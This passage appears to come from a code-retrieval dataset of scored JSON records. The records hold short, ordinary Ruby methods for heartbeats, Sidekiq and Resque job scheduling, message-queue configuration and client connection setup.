"text": "def default_server_config\n Sneakers.configure(\n amqp: 'amqp://guest:guest@localhost:5672',\n vhost: '/',\n pid_path: @pid_file_location,\n workers: @worker_count\n )\n Sneakers.logger_level = Logger::INFO\n Sneakers.error_reporters << proc { |exception, _worker, context_hash| Honeybadger.notify(exception, context_hash) }\n Sneakers\n end",
"title": ""
},
{
"docid": "46bd0c2647f66ea7e5cb2e47d5a92000",
"score": "0.52443033",
"text": "def heartbeat_redis\n @heartbeat_redis ||= begin\n redis = Redis.connect(:url => Travis.config['redis']['url'])\n Redis::Namespace.new(:resque, :redis => redis)\n end\n end",
"title": ""
},
{
"docid": "df33f386029f746c5150ce8488e35e4e",
"score": "0.52279735",
"text": "def shutdown\n\t\tself.stop_heartbeat\n\t\tsuper\n\tend",
"title": ""
},
{
"docid": "d28f5c7efef70fe20edf4a347b8fa8eb",
"score": "0.52254593",
"text": "def sendRelaxedHeartbeat()\n\n if NodeAgent.instance.connected?\n # Check if we still hear from handler\n now = Time.now\n delta = now - @handlerTimestamp\n\n # NO - Then enter a 'temporary disconnected' state\n if (delta > @handlerTimeout)\n if ((@timeoutCnt += 1) >= @timeoutCount)\n @tmpDisconnected = true\n debug \"Heartbeat - Lost Handler - Node is now temporary Disconnected\"\n end\n\n # YES - Then if we were previously disconnected, leave that state!\n else \n if @tmpDisconnected\n @tmpDisconnected = false\n debug \"Heartbeat - Found Handler - Node is now Reconnected\"\n end\n end\n\n # Regardless of connection state, we keep sending HB\n @timeoutCnt = 0\n inCnt = @inSeqNumber > 0 ? @inSeqNumber : 0\n @lockSeqNumber.synchronize {\n send!(:HB, @outSeqNumber, inCnt, now.to_i, delta.to_i)\n }\n\n # Always check if Experiment is done AND we are not temporary disconnected\n #debug \"TDEBUG - Check EXPDONE + !DISCONNECTED - #{NodeAgent.instance.expirementDone?} - #{!@tmpDisconnected}\"\n if (NodeAgent.instance.expirementDone? && !@tmpDisconnected)\n debug \"Heartbeat - Experiment Done and Node Reconnected\"\n sendResumeAndQuit\n ### HACK - Waiting for OML Proxy to return a good 'DONE' to us\n Kernel.sleep 10\n sendEXPDONE\n NodeAgent.instance.reset\n end\n else # ---if NodeAgent.instance.connected?---\n # haven't heard from nodeHandler yet, resend initial message\n sendWHOAMI\n end\n end",
"title": ""
},
{
"docid": "a00874ceda95b3d6861674a83a4e1974",
"score": "0.5210898",
"text": "def heartbeat_if_time\n return if Time.now.to_f < @heartbeat_at\n send(@sock, [\"HB\"])\n @heartbeat_at = Time.now.to_f + (@heartbeat_ivl.to_f / 1000.0)\n end",
"title": ""
},
{
"docid": "2ef38832245d57bfa24576fd84ebd97c",
"score": "0.5208016",
"text": "def beat\n @last_heartbeat_at = Time.now\n end",
"title": ""
},
{
"docid": "5bf724341ed4bc74c80d7f9a11acd06d",
"score": "0.5175821",
"text": "def heartbeat; send_request(\"/heartbeat\"); end",
"title": ""
},
{
"docid": "8a0cd7e362adabbb886ca04cc8d682d8",
"score": "0.5166348",
"text": "def heartbeat_interval\n @settings[:heartbeat] || @settings[:heartbeat_interval] || 0\n end",
"title": ""
},
{
"docid": "0d5bd5323d2da6a5546c5d8a430ac13f",
"score": "0.5146766",
"text": "def setup_scheduler(scheduler)\n scheduler.every '5s' do\n check_and_handle_queue_messages\n end\n end",
"title": ""
},
{
"docid": "5593c03314a022f813782fe8b82872cf",
"score": "0.5144871",
"text": "def sidekiq_hook\n return unless defined? ::Sidekiq\n ::Tracebin::BackgroundJobInstrumentation.install :sidekiq\n end",
"title": ""
},
{
"docid": "14c4d766fc53cc8ef9d4f3e09d8f720c",
"score": "0.5131792",
"text": "def load_schedule!\n @schedule ||= load_default_schedule\n\n raise \"You should setup a schedule or place it in config/schedule.yml\" unless schedule\n\n schedule.each do |name, config|\n # If rails_env is set in the config, enforce ENV['RAILS_ENV'] as\n # required for the jobs to be scheduled. If rails_env is missing, the\n # job should be scheduled regardless of what ENV['RAILS_ENV'] is set\n # to.\n if config['rails_env'].nil? || rails_env_matches?(config)\n interval_defined = false\n interval_types = %w{cron every}\n interval_types.each do |interval_type|\n if !config[interval_type].nil? && config[interval_type].length > 0\n RJ.logger.info \"queueing #{config['class']} (#{name})\"\n rufus_scheduler.send(interval_type, config[interval_type]) do\n publish_from_config(config)\n end\n interval_defined = true\n break\n end\n end\n unless interval_defined\n RJ.logger.warn \"no #{interval_types.join(' / ')} found for #{config['class']} (#{name}) - skipping\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "773619c326c2ede3109b6a628c0d6666",
"score": "0.5120239",
"text": "def setup!\n Communicator.instance.setup!\n QueuesPauser.instance.setup!\n\n Sidekiq.configure_server do |config|\n require \"sidekiq/throttled/fetch\"\n Sidekiq.options[:fetch] = Sidekiq::Throttled::Fetch\n\n require \"sidekiq/throttled/middleware\"\n config.server_middleware do |chain|\n chain.add Sidekiq::Throttled::Middleware\n end\n end\n end",
"title": ""
},
{
"docid": "c8dcd994751677d87a0db3972e0767ed",
"score": "0.51138943",
"text": "def heartbeat_broker_limit\n unless defined?(@heartbeat_broker_limit)\n @heartbeat_broker_limit = heartbeating[1] > 0 ? (1.1 * heartbeating[1]) : 0\n end\n @heartbeat_broker_limit\n end",
"title": ""
},
{
"docid": "7482f87693c6f8dbb1e859c64bf8a4c5",
"score": "0.51084703",
"text": "def test_heartbeat_uses_heartbeat_delay\n set_env 'HEARTBEAT_DELAY', '0'\n Arduino.up?.must_equal false\n authorize 'user', 'password'\n assert_output(/heartbeat/, //) { post '/heartbeat' }\n Arduino.up?.must_equal false\n last_response.status.must_equal 200\n end",
"title": ""
},
{
"docid": "81552e95c1fe3b2fa2bc70609df5cff6",
"score": "0.5089558",
"text": "def setup\n @log = Log4r::Logger['scheduler']\n \n # schedule a daily repeating event to set the alarm at the configured time\n set_time = NestConfig[:alarm_clock][:schedule][:set_at]\n set_hour = set_time.to_s[0..1]\n set_minute = set_time.to_s[2..3]\n Scheduler.instance.schedule_repeating \"alarmclock_set\", \"#{set_minute} #{set_hour} * * *\", lambda { autoset_next_alarm }\n \n # hook up any configured speech hooks\n NestConfig[:alarm_clock][:speech_hooks].each do |name, cfg|\n case cfg[:type].to_sym\n when :time_until_alarm\n Speech.instance.hooks(name).register_with(cfg[:priority], :time_until_alarm, lambda { time_until_alarm })\n else\n @log.warn \"Found unknown hook type '#{cfg[:type]}' in alarm clock configuration, ignoring\"\n end\n end\n \n # hook up the child triggers to change the set alarm time\n Handlers[:trigger].first.bind_trigger :alarmclock, lambda {|key, args, values|\n break if values[0] != 1.0\n case key\n when 'Off'\n disable_next_alarm\n when 'Set'\n set_alarm_from_trigger args[0], args[1]\n when 'Sync'\n send_alarm_trigger\n end\n }\n end",
"title": ""
},
{
"docid": "e34738e9553979dd5de277b283616a95",
"score": "0.5087093",
"text": "def configure\n reconfigure_notifier\n end",
"title": ""
},
{
"docid": "e34738e9553979dd5de277b283616a95",
"score": "0.5087093",
"text": "def configure\n reconfigure_notifier\n end",
"title": ""
},
{
"docid": "8002432cb8b5bf4bb9d95d9fa15c49d4",
"score": "0.5082767",
"text": "def heartbeat_interval\n options[:heartbeat_interval] || DEFAULT_HEARTBEAT_INTERVAL\n end",
"title": ""
},
{
"docid": "13839c757c9b48ce5eccd727d99e8ccc",
"score": "0.5055536",
"text": "def setup\n return false if @setup_complete\n SidekiqPrometheus::Metrics.register_sidekiq_job_metrics\n SidekiqPrometheus::Metrics.register_sidekiq_gc_metric if gc_metrics_enabled?\n SidekiqPrometheus::Metrics.register_sidekiq_worker_gc_metrics if gc_metrics_enabled? && periodic_metrics_enabled?\n register_custom_metrics\n\n sidekiq_setup\n\n self.setup_complete = true\n end",
"title": ""
},
{
"docid": "0b497f6087f8f169b2a8d39b839ec2bd",
"score": "0.50524855",
"text": "def enable_heartbeat(name, opts = {})\n data, _status_code, _headers = enable_heartbeat_with_http_info(name, opts)\n return data\n end",
"title": ""
},
{
"docid": "30f0545d2a46ba54ea76dadf2d49d446",
"score": "0.5044823",
"text": "def schedule!\n config = {}\n config[:class] = 'SendSearchResultsToAccountHolder'\n config[:every] = [every, { first_in: 5.minutes }]\n config[:persist] = true\n Resque.set_schedule(schedule_name, config)\n end",
"title": ""
},
{
"docid": "c6dc08ff1d2a61b0b24ae9c694ec076a",
"score": "0.5033022",
"text": "def schedule_manual_failover\n return unless @leader\n new_master = @zk.get(@manual_znode, :watch => true).first\n logger.info(\"Received manual failover request for: #{new_master}\")\n\n node = if new_master == ManualFailover::ANY_SLAVE\n @slaves.sample\n else\n host, port = new_master.split(':', 2)\n Node.new(:host => host, :port => port, :password => @options[:password])\n end\n notify_state(node, :manual_failover) if node\n end",
"title": ""
},
{
"docid": "bb0eca23e43c3673d2d0fd95284cd1a2",
"score": "0.50303143",
"text": "def send_heartbeat_tcp(node)\n sock = connect(node)\n begin\n opt = [1, @send_timeout.to_i].pack('I!I!') # { int l_onoff; int l_linger; }\n sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_LINGER, opt)\n opt = [@send_timeout.to_i, 0].pack('L!L!') # struct timeval\n # don't send any data to not cause a compatibility problem\n #sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_SNDTIMEO, opt)\n #sock.write FORWARD_TCP_HEARTBEAT_DATA\n node.heartbeat(true)\n ensure\n sock.close_write\n sock.close\n end\n end",
"title": ""
},
{
"docid": "b057eadb3878dc7cf2b1ab4212305cf4",
"score": "0.50241685",
"text": "def start_heartbeat_service\n si = SupervisorInfo.new\n stat.set si.key, si.to_json\n stat.expire si.key, 120\n\n Thread.new do\n log.info \"Thread created for Supervisor [Heartbeat]\"\n loop do\n si.touch\n stat.set si.key, si.to_json, 120\n sleep HEARTBEAT_INTERVAL\n end\n end\n end",
"title": ""
},
{
"docid": "625f19b75ab4d5113bbd9549d56d6e80",
"score": "0.50232863",
"text": "def send_ping\n ping = Ping.new(identity, status_proc.call, identity)\n amq.fanout('heartbeat', :no_declare => true).publish(dump_packet(ping))\n end",
"title": ""
},
{
"docid": "ea51e5b379bc9f6400f466b6d1d0588e",
"score": "0.50142926",
"text": "def heartbeat_interval\n @options[:heartbeat_interval]\n end",
"title": ""
},
{
"docid": "58fff2c6a2b34e9b7a78b96c53e939a2",
"score": "0.5008208",
"text": "def setup_sidekiq\n $using_sidekiq = yes?('Do you want to setup Sidekiq?')\n\n return unless $using_sidekiq\n\n gem 'sidekiq'\n\n after_bundle do\n insert_into_file 'config/application.rb',\n \" config.active_job.queue_adapter = :sidekiq\\n\\n\",\n after: \"class Application < Rails::Application\\n\"\n\n append_file 'Procfile', <<~PROCFILE\n worker: RAILS_MAX_THREADS=${SIDEKIQ_CONCURRENCY:-25} bundle exec sidekiq -t 25 -q default -q mailers\n PROCFILE\n\n insert_into_file 'config/routes.rb',\n \" require \\\"sidekiq/web\\\"\\n mount Sidekiq::Web => \\\"/sidekiq\\\"\\n\\n\",\n after: \"Rails.application.routes.draw do\\n\"\n\n git_proxy_commit 'Setup Sidekiq'\n end\nend",
"title": ""
},
{
"docid": "3e7d17e5aad8831e5eaaf5e90bf7051f",
"score": "0.49945518",
"text": "def load_schedule!\n procline 'Loading Schedule'\n\n # Need to load the schedule from redis for the first time if dynamic\n Resque.reload_schedule! if dynamic\n\n log! 'Schedule empty! Set Resque.schedule' if Resque.schedule.empty?\n\n @scheduled_jobs = {}\n\n Resque.schedule.each do |name, config|\n load_schedule_job(name, config)\n end\n Resque.redis.del(:schedules_changed) if am_master && dynamic\n procline 'Schedules Loaded'\n end",
"title": ""
},
{
"docid": "18ad16b57230bc8481e2a32b936422a0",
"score": "0.49784678",
"text": "def process_heartbeat(message = nil)\n @reactor.log(:debug, \"#{self.class}, On broker, worker [#{@identity}] for service [#{@service_name}] received a HB message.\")\n @hb_received_at = Time.now\n end",
"title": ""
},
{
"docid": "68c64908127ed6e84dd32fcb732684d0",
"score": "0.49770063",
"text": "def launch_heartbeat(interval)\n unless @heartbeat.nil?\n @heartbeat.cancel\n end\n\n @heartbeat = EM::Synchrony.add_periodic_timer(interval/1000.0) do\n command_to.ping\n #puts '[DEBUG] lubdub'\n end\n end",
"title": ""
},
{
"docid": "88a36b540c92736287c9ed54ac11dab3",
"score": "0.4972377",
"text": "def start_hardworker\n HardWorker.perform_async('05-05-2022', '10-12-2022')\n end",
"title": ""
},
{
"docid": "e88fee7d31f0503f57e79f488230d020",
"score": "0.49631333",
"text": "def perform(queue_name)\n Sidekiq.redis do |redis|\n q = Sidekiq::Queue.all.find{ |q| q.name.to_s == queue_name.to_s }\n queue_config = Sidekiq::HeartbeatMonitor.config(q)\n return if queue_config.nil?\n\n key = \"Sidekiq:HeartbeatMonitor:Worker-#{queue_name}.enqueued_at\"\n enqueued_at = redis.get(key).to_i\n\n return if enqueued_at < 1577997505 # Enqueued before Jan 2, 2020 when this code was written\n\n time_since_enqueued = Time.now.to_i - enqueued_at\n\n if time_since_enqueued > queue_config.max_heartbeat_delay\n queue_config.send_slowed_down_alert!(\"⚠️ _#{queue_name}_ queue took #{format_time_str(time_since_enqueued)} to reach job.\", q)\n end\n\n redis.del(key)\n end\n end",
"title": ""
},
{
"docid": "ae301b8513c6c284be9354b95d59e09d",
"score": "0.49591282",
"text": "def enable_uptime\n end",
"title": ""
},
{
"docid": "bc8cd762277c7098417e86ab1332e3bc",
"score": "0.49396926",
"text": "def start_heartbeat_service\n ati = AppTaskInfo.new(:classname => self.class.name)\n stat.set ati.key, ati.to_json, HEARTBEAT_EXPIRE\n\n Thread.new do\n log.info \"Thread created for AppTask [Heartbeat]\"\n loop do\n ati.touch\n stat.set ati.key, ati.to_json, HEARTBEAT_EXPIRE\n sleep HEARTBEAT_INTERVAL\n end\n end\n end",
"title": ""
},
{
"docid": "09bcb3b2945b7de95ebbff9589acbf9f",
"score": "0.49393576",
"text": "def perform\n @id = client._retrieve(@options).id\n start_heart_beat\n self\n end",
"title": ""
},
{
"docid": "0d1a65b470f763603a3302640b69aaa3",
"score": "0.4933493",
"text": "def setup_periodic_block\n self.class.run_after_blocks.each {|s, b| Thread.new {EM.run {EM.add_periodic_timer(s, Proc.new {b.call(self)})}} }\n end",
"title": ""
},
{
"docid": "abda01c962f0da6db9e5321e4c694dd1",
"score": "0.49207705",
"text": "def heartbeat= state\n @lcdproc_attributes[:heartbeat] = state\n \n update_lcdproc_attribute( :heartbeat )\n end",
"title": ""
},
{
"docid": "e0c6b7403cfe8e70db29ca037558a49c",
"score": "0.4915662",
"text": "def _start_send_ticker()\n sleeptime = @hbsend_interval / 1000000.0 # Sleep time secs\n reconn = false\n adjust = 0.0\n @st = Thread.new {\n first_time = true\n while true do\n #\n slt = sleeptime - adjust - @fast_hbs_adjust\n sleep(slt)\n next unless @socket # nil under some circumstances ??\n curt = Time.now.to_f\n slog(:on_hbfire, log_params, \"send_fire\", :curt => curt, :last_sleep => slt)\n delta = curt - @ls\n # Be tolerant (minus), and always do this the first time through.\n # Reintroduce logic removed in d922fa.\n compval = (@hbsend_interval - (@hbsend_interval/5.0)) / 1000000.0\n if delta > compval || first_time\n first_time = false\n slog(:on_hbfire, log_params, \"send_heartbeat\", :last_sleep => slt,\n :curt => curt, :last_send => @ls, :delta => delta,\n :compval => compval)\n # Send a heartbeat\n @transmit_semaphore.synchronize do\n begin\n @socket.puts\n @socket.flush # Do not buffer heartbeats\n @ls = Time.now.to_f # Update last send\n @hb_sent = true # Reset if necessary\n @hbsend_count += 1\n rescue Exception => sendex\n @hb_sent = false # Set the warning flag\n slog(:on_hbwrite_fail, log_params, {\"ticker_interval\" => sleeptime,\n \"exception\" => sendex})\n if @hbser\n raise # Re-raise if user requested this, otherwise ignore\n end\n if @reliable\n reconn = true\n break # exit the synchronize do\n end\n end\n end # of the synchronize\n if reconn\n # Attempt a fail over reconnect. This is 'safe' here because\n # this thread no longer holds the @transmit_semaphore lock.\n @rt.kill if @rt # Kill the receiver thread if one exists\n _reconn_prep_hb() # Drive reconnection logic\n Thread.exit # This sender thread is done\n end\n end\n adjust = Time.now.to_f - curt\n Thread.pass\n end\n }\n end",
"title": ""
},
{
"docid": "84c39972ece96b6d2008a3f932f43b71",
"score": "0.48933524",
"text": "def start_accepting_requests\n\t\tself.start_heartbeat\n\t\tsuper\n\tend",
"title": ""
},
{
"docid": "9fbe7cd47268df6587bd38e97c85400d",
"score": "0.48888797",
"text": "def setup_standalone\n @logger.debug(\"scheduling standalone checks\")\n standard_checks = @settings.checks.select do |check|\n check[:standalone]\n end\n extension_checks = @extensions.checks.select do |check|\n check[:standalone] && check[:interval].is_a?(Integer)\n end\n schedule_checks(standard_checks + extension_checks)\n end",
"title": ""
},
{
"docid": "284df7907b858864adf61a9148ce5108",
"score": "0.4881341",
"text": "def initialize\n @amqp = Sneakers::Config[:amqp]\n @vhost = Sneakers::Config[:vhost]\n @heartbeat = Sneakers::Config[:heartbeat]\n @mutex = Mutex.new\n end",
"title": ""
},
{
"docid": "b31b9a5f3a17d1e605739069f9c732a8",
"score": "0.48761916",
"text": "def tick_scheduler\n begin\n app.scheduler.tick!\n rescue Exception\n app.handle_exception($!) do |ex|\n app.log.error \"SchedulerPerformError on tick #{@tick}: (#{ex.class.name}) #{ex.message}\"\n end\n end\n end",
"title": ""
},
{
"docid": "adb1cb3f350031c24826d373838ca950",
"score": "0.48708674",
"text": "def configure(scheduler)\n scheduler.interval = 1.second\n end",
"title": ""
},
{
"docid": "4be717013e6d11bf70e1beb5a92ac06c",
"score": "0.48647514",
"text": "def heartbeat(attributes = {}, &block)\n register_event(HeartbeatEvent, attributes, block)\n end",
"title": ""
},
{
"docid": "08a74c70fc7a9a79dd55bea3c63b0034",
"score": "0.4858488",
"text": "def schedule_upcoming_notification\n\t\t# queue = Sidekiq::ScheduledSet.new\n\t\t# queue.each do | job |\n\t\t# \tif job.klass == 'NotificationWorker' && job.args.size == 4 && job.args[0] == self.id && job.args[2] == 'Notifications::ContractNotification' && job.args[3] == 'upcoming'\n\t\t# \t\tjob.delete\n\t\t# \tend\n\t\t# end\n\n\n\t\t# # since we're going to notify 2 hours in advance, don't schedule a notification if\n\t\t# # the contract is going to start within 2 hours\n\t\t# return if start_date_time < DateTime.now + 2.hours\n #\n\t\t# should_send = if contract? || bounty?\n\t\t# \t!self.is_cancelled?\n\t\t# elsif roster?\n\t\t# \tr = Roster.find self.id\n\t\t# \tr.confirmed_users.count > 0\n\t\t# else\n\t\t# \tfalse\n\t\t# end\n\t\t# if should_send\n\t\t# \tNotificationWorker.perform_at(self.start_date_time - 2.hours, self.id, 'Contract', 'Notifications::ContractNotification', 'upcoming')\n\t\t# end\n\tend",
"title": ""
},
{
"docid": "d085a6a4a168f5dcf37385064d21063a",
"score": "0.4857597",
"text": "def start_heartbeat(heartbeat_writer)\n @threads ||= []\n @threads << Thread.new do\n loop do\n heartbeat = Heartbeat.new(Time.now, $$, :active)\n heartbeat_writer.puts(Marshal.dump(heartbeat))\n\n # uncomment to test occasional timeout and automatic respawning of child process\n # sleep rand(6)\n sleep HEARTBEAT_INTERVAL\n end\n end\n end",
"title": ""
},
{
"docid": "b02e9ca8b19aabac7d85fe400dc64d64",
"score": "0.48561996",
"text": "def set_heartbeat_interval(interval)\n @hrtbt_int && raise(\"Can't set heartbeat interval twice\")\n @hrtbt_int = interval\n\n log(\"Heartbeat interval for #{peer} : <#{hrtbt_int}s>\")\n @keep_alive_timer = EM.add_periodic_timer(1) { keep_alive }\n end",
"title": ""
},
{
"docid": "c04167e1a6136c7a547c8bcd7ad6a0da",
"score": "0.48553696",
"text": "def start_heartbeat\n @heartbeat = @server_heartbeat.accept\n if Heartbeat::THREADSAFE\n @heartbeat_thread = Heartbeat.new(self, @heartbeat)\n else\n ended_file # Cache this file name before forking\n @heartbeat_pid = fork do\n loop do\n begin\n @heartbeat.write(\"OK\\n\")\n rescue Errno::EPIPE => e\n if File.exist?(ended_file)\n FileUtils.rm_f(ended_file)\n exit 0\n else\n if monitor_running?\n Origen.log.error 'Communication with the simulation monitor has been lost (though it seems to still be running)!'\n else\n Origen.log.error 'The simulation monitor has stopped unexpectedly!'\n end\n exit 1\n end\n end\n sleep 5\n end\n end\n end\n end",
"title": ""
},
{
"docid": "beef10e04c80f386387bbf71f7da812c",
"score": "0.4851202",
"text": "def start\n Sidekiq.logger.info(\"SidekiqPrometheus: Starting periodic metrics reporting\")\n @thread = Thread.new(&method(:run))\n end",
"title": ""
},
{
"docid": "87cfe83731587be736b151f2180518ab",
"score": "0.48509103",
"text": "def worker_init\n @config_file = BackgrounDRbMerb::Config.read_config(\"#{Merb.root}/config/backgroundrb.yml\")\n log_flag = @config_file[:backgroundrb][:debug_log].nil? ? true : @config_file[:backgroundrb][:debug_log]\n load_merb_env\n @logger = PacketLogger.new(self,log_flag)\n @thread_pool = ThreadPool.new(pool_size || 20,@logger)\n\n if(worker_options && worker_options[:schedule] && no_auto_load)\n load_schedule_from_args\n elsif(@config_file[:schedules] && @config_file[:schedules][worker_name.to_sym])\n @my_schedule = @config_file[:schedules][worker_name.to_sym]\n new_load_schedule if @my_schedule\n end\n if respond_to?(:create)\n create_arity = method(:create).arity\n (create_arity == 0) ? create : create(worker_options[:data])\n end\n @logger.info \"#{worker_name} started\"\n @logger.info \"Schedules for worker loaded\"\n end",
"title": ""
},
{
"docid": "e4dc8cb580ad52f6f4d529e627adcec1",
"score": "0.48507506",
"text": "def on_hbfire(params, srind, curt)\n case srind\n when \"receive_fire\"\n $log.debug(\"Received heartbeat from %s: %s, %s\" % [stomp_url(params), srind, curt])\n when \"send_fire\"\n $log.debug(\"Publishing heartbeat to %s: %s, %s\" % [stomp_url(params), srind, curt])\n end\n rescue Exception => e\n end",
"title": ""
},
{
"docid": "1778db04a04317bf570440f759c30212",
"score": "0.48443905",
"text": "def start\n Sidekiq.logger.info('SidekiqPrometheus: Starting periodic metrics reporting')\n @thread = Thread.new(&method(:run))\n end",
"title": ""
},
{
"docid": "0a6eac45d19efe00f44af1cb063f67b9",
"score": "0.4840408",
"text": "def process_heartbeats(data, reply, subject)\n # No payload assumed, just reply to the heartbeat.\n nats.publish(reply, '')\n end",
"title": ""
},
{
"docid": "e3e774b6aba323869c41dcbbf70939e4",
"score": "0.4837706",
"text": "def emit_heartbeats=(value)\n @emit_heartbeats = value\n streaming_request.emit_heartbeats = value if streaming_request\n end",
"title": ""
},
{
"docid": "0a3467c96eaf712cbe517060c6dee0a4",
"score": "0.48191208",
"text": "def check_worker\n return if @worker # already running\n return unless start_worker?\n logger.debug {\"config: #{config.dump}\"}\n @pid = $$\n logger.debug {\">> starting up worker for pid #{@pid}...\"}\n\n @worker = Worker.new(timer: config.event_mode)\n @worker.run_periodically(config.flush_interval) do\n flush\n end\n\n end",
"title": ""
},
{
"docid": "9420acb21ec990d7e2ff2f255d7b3b11",
"score": "0.48152715",
"text": "def queue_maintenance(force = false)\n return if bypass_maintenance? || (!force && shutdown_when_done?)\n\n say 'Queueing maintenance tasks'\n queue_job(:maintenance)\n end",
"title": ""
},
{
"docid": "976af6d160fb21c0944b035626fec1bb",
"score": "0.48109588",
"text": "def setup\n queue = @worker_class.new.queue\n\n Hightops::Connection.instance.channel.queue(retry_queue_naming.to_s, durable: true, arguments: queue_arguments)\n Hightops::Connection.instance.channel.queue(queue.name, durable: queue.opts[:durable]).bind(dead_letter_exchange, routing_key: queue.name)\n end",
"title": ""
},
{
"docid": "344855eccaa2fd97b3b427683b913e10",
"score": "0.48070535",
"text": "def perform(_hostname = SidekiqAlive.hostname)\n # Checks if custom liveness probe passes should fail or return false\n return unless config.custom_liveness_probe.call\n\n # Writes the liveness in Redis\n write_living_probe\n # schedules next living probe\n self.class.perform_in(config.time_to_live / 2, current_hostname)\n end",
"title": ""
}
] |
c0b3446bb667e65f3329c980286c2e89 | Given a host and a port (dottedquad or hostname OK), creates a Query::Minecraft object. Note that this will still require an authentication packet (see the auth() method) before commands can be sent. | [
{
"docid": "885d9e4e6da15344de98e924c90ed267",
"score": "0.5631559",
"text": "def initialize(host = 'localhost', port = 25575)\r\n @host = host\r\n @port = port\r\n @socket = nil\r\n @packet = nil\r\n @authed = false\r\n @return_packets = false\r\n end",
"title": ""
}
] | [
{
"docid": "fc4678b94385902041ae7fa44ff6c484",
"score": "0.5951272",
"text": "def client(host:, port:, command: nil)\n @clients ||= {}\n @clients[[host, port, command]] ||= begin\n Server.start!(host: host, port: port, command: command) if command\n Client.new host: host, port: port\n end\n end",
"title": ""
},
{
"docid": "98db29be7be9ca73c8f1fc734c71f77b",
"score": "0.5869222",
"text": "def initialize(host, path = '', query = '', secure = false, port = nil, opts={})\n\n # Initializing with a single hash\n if host.kind_of? Hash\n opts = host\n @host = opts.delete :host\n @port = opts.delete :port\n @path = opts.delete(:path).to_s\n @query = opts.delete(:query).to_s\n @secure = opts.delete :secure\n else # initializing with a params list\n @host = host\n @port = port\n @secure = secure\n @path = path\n @query = query\n end\n\n @opts = DEFAULT_OPTS.merge opts\n @port ||= @secure ? 443 : 80\n\n @auto_pong = opts[:auto_pong]\n @closed = false\n @opened = false\n\n @on_open = lambda {}\n @on_close = lambda { |message|}\n @on_ping = lambda { |message|}\n @on_error = lambda { |error|}\n @on_message = lambda { |message|}\n\n connect\n end",
"title": ""
},
{
"docid": "32e2b92d0a9e0c977961c02f969aeea2",
"score": "0.5791693",
"text": "def initialize(host: 'localhost', port: 2113, username: nil, password: nil)\n @client = Client.new(host: host, port: port, username: username, password: password)\n end",
"title": ""
},
{
"docid": "1440eb089bb72a843e3af860ef980f79",
"score": "0.5736246",
"text": "def initialize(host = 'localhost', port = 10_011)\n connect(host, 10_011)\n login(Settings.teamspeak.login,Settings.teamspeak.password)\n end",
"title": ""
},
{
"docid": "21523defd6648d23211f969c1ddb8965",
"score": "0.5731439",
"text": "def initialize(host = 'localhost', port = 4028)\n @host = host\n @port = port\n end",
"title": ""
},
{
"docid": "bb45180873286691bd527252e55171b4",
"score": "0.5723206",
"text": "def initialize(host = 'localhost', port = 6600)\n @host = host\n @port = port\n end",
"title": ""
},
{
"docid": "de2204aba29d4fe10894581cf0ba2114",
"score": "0.5720891",
"text": "def initialize(host = \"localhost\", port = 4553)\n\t\t@host = host\n\n\t\tunless port.is_a? Integer and port > 0 and port < 65536\n\t\t\traise \"Error: port must be a valid integer between 1 and 65535\"\n\t\tend\n\t\t@port = port\n\tend",
"title": ""
},
{
"docid": "e837bcbb043bc0a3b9b44734ddbc572d",
"score": "0.5717614",
"text": "def initialize(host = 'localhost', port = 25575)\r\n @host = host\r\n @port = port\r\n @socket = nil\r\n @packet = nil\r\n @authed = false\r\n @return_packets = false\r\n end",
"title": ""
},
{
"docid": "c9486e7aaf57693a406f9fdaf804afa4",
"score": "0.5659664",
"text": "def connect(host, port)\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "422892de9bf107d6ec0a2b10daeff37b",
"score": "0.5654415",
"text": "def initialize(host, port=nil, host_name=nil)\n @host = host\n end",
"title": ""
},
{
"docid": "68af19b1b5c25c17b28d27be1f170d8f",
"score": "0.56016433",
"text": "def initialize(host = \"localhost\", port = 25)\n\t\t\t\tif port < 0; raise ArgumentOutOfRangeError.new(\"port cannot be less than zero\"); end\n\t\t\t\tif port > 65535; raise ArgumentOutOfRangeError.new(\"port cannot be less than zero\"); end\n\t\t\t\t@host = host\n\t\t\t\t@port = port\n\t\t\tend",
"title": ""
},
{
"docid": "1eb92bddfc429188381764422eb93682",
"score": "0.55893457",
"text": "def initialize(host, port)\n @host = host\n @port = port\n end",
"title": ""
},
{
"docid": "6bae36d683fde238cd32c8880b50916f",
"score": "0.5575059",
"text": "def initialize(host, port)\n super(host, port, 'CMD')\n end",
"title": ""
},
{
"docid": "478eebe089bfbe80058c21c9921880a1",
"score": "0.554709",
"text": "def initialize(host, port=DEFAULT_PORT)\n @host = host\n @port = port\n end",
"title": ""
},
{
"docid": "e23f86bbd9d153e2f2ff4a0164ef9528",
"score": "0.55425674",
"text": "def build_connection(host, port, queue)\n connection = Connection.new(\n :host => host,\n :port => port,\n :queue => queue,\n :notifier => notifier,\n :features => connection_features,\n :callback => {\n :actor => current_actor,\n :method => :process_message\n }\n )\n end",
"title": ""
},
{
"docid": "d1a50e5e6fe4cc1d117a9af4cf0ebea9",
"score": "0.5540737",
"text": "def initialize(host, port, host_name=nil)\n @host = host\n @port = port\n @host_name = host_name\n end",
"title": ""
},
{
"docid": "97570c595b99f50ed5f95dd9106433c5",
"score": "0.5420662",
"text": "def initialize (host, port, username, secret)\n @host = host\n @port = port\n @username = username\n @secret = secret\n \n @connected = false\n @logged_in = false\n @logger = AsteriskLogger.new\n end",
"title": ""
},
{
"docid": "b6df6c879a16c06dd245f5ad9f64f090",
"score": "0.5417707",
"text": "def initialize(host=\"localhost\", port=1180)\n @host, @port = host, port\n end",
"title": ""
},
{
"docid": "fd2abfe1710bb58d5ef67a584d4003c3",
"score": "0.5406621",
"text": "def connect(host = Caver::RPC::Client::DEFAULT_HOST)\n @client = Caver::RPC::Client.new(host)\n end",
"title": ""
},
{
"docid": "cc231a10819645e49ffb216612769545",
"score": "0.5394182",
"text": "def initialize( host, port = 22133, options = {} )\n if port.is_a?(Hash)\n options = port\n port = 22133\n end\n\n @options = options.dup\n @options[:host] = host\n @options[:port] = Float( port ).to_i\n @socket = nil\n @pid = nil\n @read_buffer = ''\n end",
"title": ""
},
{
"docid": "7db2bd5ee771c9d2ad89e6eaf5c22d4b",
"score": "0.5389138",
"text": "def initialize(host = nil, key = nil, user = nil, pass = nil, port = 55443)\n @host = host || MooMoo.config.host\n @key = key || MooMoo.config.key\n @user = user || MooMoo.config.user\n @pass = pass || MooMoo.config.pass\n @port = port || MooMoo.config.port\n end",
"title": ""
},
{
"docid": "7c5ca32c95be7e6b3890e4a073c7015a",
